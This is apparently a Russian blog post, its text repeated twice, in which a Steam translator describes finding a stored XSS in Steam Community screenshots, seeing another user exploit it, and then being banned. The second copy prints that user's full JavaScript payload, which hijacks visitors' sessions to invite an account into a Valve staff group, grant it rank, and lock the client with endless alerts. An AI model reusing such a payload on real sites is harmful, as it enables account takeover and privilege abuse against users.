Здравствуйте, хабралюди.
13 июля, в 18:36 МСК мною был найден XSS на странице сообщества всем известного Steam. В это время (7:36 утра в Сиетле) никого не было в офисах Valve (по крайней мере таковых на форуме не нашел). Как же дошло дело до того, что мне заблокировали два аккаунта Steam и на достояние общественности было выставлено моё письмо Аларику, комьюнити-менеджеру Valve? Прошу под кат.
Представлюсь, Иван Балясников, со вчерашнего дня НЕ переводчик Steam, НЕ пользователь Steam, пират.
Я очень люблю находить дырки на сайтах, но не используя их, а только проверяя сайты. Беда пришла откуда не ждали. Оказалось, что в секции скриншотов завёлся баг, позволяющий выполнить произвольный код со стороны пользователя.

К сожалению, я не додумался выйти из сети и проверить мои догадки без посторонних.
Разместив скриншот, я прошел по ссылке для просмотра. Моему удивлению не было предела. Xss действительно был и ничего не ограничивало произвольный код.
Быстро сообразив, что надо ждать помощь в виде сотрудников Valve, я удалил скриншот и пошел по своим делам.
Каково же было мое удивление, когда придя, я обнаружил действительно опасный код у одного из моих друзей. Посмотрев профиль этого человека на сайте SteamRep — вы убедитесь, что я зря делал всё в открытую.
Код, размещенный этим человеком был настолько изощренным, что как только на страницу заходил сотрудник Valve — автоматически отправлялось приглашение в приватную группу работников Valve.
Собственно открытие этой ссылки внутри Steam означало полную блокировку программы. Закрывать требовалось 10000 раз, так как скрипт в контексте страницы повторялся дважды.
К сожалению, код сработал правильно и этого человека действительно пригласило в группу.

Ну ладно, его быстро исключили. Но тут начинается самое удивительное.
Внезапно, я получаю блокировку сообщества. От кого? Правильно, от работника Valve. За что? Неизвестно, так как абсолютно никаких умышленных действий, которые бы навредили Steam, я не производил.

Ну ладно, подумал я. Бывает. Напишу в техподдержку — восстановят. Пойду пока на свой запасной аккаунт.
Ок, сказали Valve, и буквально через час я получил блокировку на свой второй аккаунт.

Хочу оговориться, что блокировка сообщества — ничего не значит для игр. Следовательно, я все еще мог играть в свои честно приобретенные игры.
Но, как говорится, не тут то было.

(Это сообщение появляется при заходе на любой из моих двух аккаунтов)
Затем, решив, что надо что-то делать и разъяснить все самому Аларику — отправляю своё гневное письмо, которые вы можете наблюдать на его странице в VK. А соглашения на распространение этого письма я, между прочем, не давал. После того, как я увидел, как много человек, не войдя в курс дела, начали осуждать меня — и было принято решение написать эту статью в надежде, что они увидят её, а так же прошу помощи сообщества. Как поступить в данной ситуации? Была ли здесь статья 138.2 УК РФ?
Xss, описанный в этой статье уже устранён и сайт steamcommunity.com не представляет больше опасности.
13 июля, в 18:36 МСК мною был найден XSS на странице сообщества всем известного Steam. В это время (7:36 утра в Сиетле) никого не было в офисах Valve (по крайней мере таковых на форуме не нашел). Как же дошло дело до того, что мне заблокировали два аккаунта Steam и на достояние общественности было выставлено моё письмо Аларику, комьюнити-менеджеру Valve? Прошу под кат.
О! Дыра!
Представлюсь, Иван Балясников, со вчерашнего дня НЕ переводчик Steam, НЕ пользователь Steam, пират.
Я очень люблю находить дырки на сайтах, но не используя их, а только проверяя сайты. Беда пришла откуда не ждали. Оказалось, что в секции скриншотов завёлся баг, позволяющий выполнить произвольный код со стороны пользователя.
К сожалению, я не додумался выйти из сети и проверить мои догадки без посторонних.
Разместив скриншот, я прошел по ссылке для просмотра. Моему удивлению не было предела. Xss действительно был и ничего не ограничивало произвольный код.
Быстро сообразив, что надо ждать помощь в виде сотрудников Valve, я удалил скриншот и пошел по своим делам.
Начинаются неприятности
Каково же было мое удивление, когда придя, я обнаружил действительно опасный код у одного из моих друзей. Посмотрев профиль этого человека на сайте SteamRep — вы убедитесь, что я зря делал всё в открытую.
Код, размещенный этим человеком был настолько изощренным, что как только на страницу заходил сотрудник Valve — автоматически отправлялось приглашение в приватную группу работников Valve.
Код целиком
function inviteMyLittleFriend()
{
var inviteParams = {json: 1,type: 'groupInvite',group: '103582791429521412',sessionID: g_sessionID,invitee: '76561198053385200'};
$J.ajax({url: 'http://steamcommunity.com/actions/GroupInvite',data: inviteParams,type: 'POST'});
var grantParams = {xml: 1,action: 'toggleRank',sessionID: g_sessionID,memberId: '76561198053385200'};
setTimeout(function(){$J.ajax({url: 'http://steamcommunity.com/groups/Valve/membersManage',data: grantParams,type: 'POST'});}, 10000);
}
onload = function(){
var gaben = document.createElement(«iframe»);
gaben.setAttribute(«src», "//www.youtube.com/embed/Nare8qvmQJA?autoplay=1&loop=1");
gaben.setAttribute(«width», «1»);
gaben.setAttribute(«height», «1»);
document.body.appendChild(gaben);
setTimeout(function(){inviteMyLittleFriend(); for (var i = 1; i >0; i++){alert(«Copyright © 2013\n\n\n I'm so sorry about locked Steam. — Shamilik»);}}, 5000);
};
{
var inviteParams = {json: 1,type: 'groupInvite',group: '103582791429521412',sessionID: g_sessionID,invitee: '76561198053385200'};
$J.ajax({url: 'http://steamcommunity.com/actions/GroupInvite',data: inviteParams,type: 'POST'});
var grantParams = {xml: 1,action: 'toggleRank',sessionID: g_sessionID,memberId: '76561198053385200'};
setTimeout(function(){$J.ajax({url: 'http://steamcommunity.com/groups/Valve/membersManage',data: grantParams,type: 'POST'});}, 10000);
}
onload = function(){
var gaben = document.createElement(«iframe»);
gaben.setAttribute(«src», "//www.youtube.com/embed/Nare8qvmQJA?autoplay=1&loop=1");
gaben.setAttribute(«width», «1»);
gaben.setAttribute(«height», «1»);
document.body.appendChild(gaben);
setTimeout(function(){inviteMyLittleFriend(); for (var i = 1; i >0; i++){alert(«Copyright © 2013\n\n\n I'm so sorry about locked Steam. — Shamilik»);}}, 5000);
};
Собственно открытие этой ссылки внутри Steam означало полную блокировку программы. Закрывать требовалось 10000 раз, так как скрипт в контексте страницы повторялся дважды.
К сожалению, код сработал правильно и этого человека действительно пригласило в группу.

Ну ладно, его быстро исключили. Но тут начинается самое удивительное.
Не надо так
Внезапно, я получаю блокировку сообщества. От кого? Правильно, от работника Valve. За что? Неизвестно, так как абсолютно никаких умышленных действий, которые бы навредили Steam, я не производил.
Ну ладно, подумал я. Бывает. Напишу в техподдержку — восстановят. Пойду пока на свой запасной аккаунт.
Ок, сказали Valve, и буквально через час я получил блокировку на свой второй аккаунт.
Хочу оговориться, что блокировка сообщества — ничего не значит для игр. Следовательно, я все еще мог играть в свои честно приобретенные игры.
Но, как говорится, не тут то было.
(Это сообщение появляется при заходе на любой из моих двух аккаунтов)
Затем, решив, что надо что-то делать и разъяснить все самому Аларику — отправляю своё гневное письмо, которые вы можете наблюдать на его странице в VK. А соглашения на распространение этого письма я, между прочем, не давал. После того, как я увидел, как много человек, не войдя в курс дела, начали осуждать меня — и было принято решение написать эту статью в надежде, что они увидят её, а так же прошу помощи сообщества. Как поступить в данной ситуации? Была ли здесь статья 138.2 УК РФ?
Xss, описанный в этой статье уже устранён и сайт steamcommunity.com не представляет больше опасности.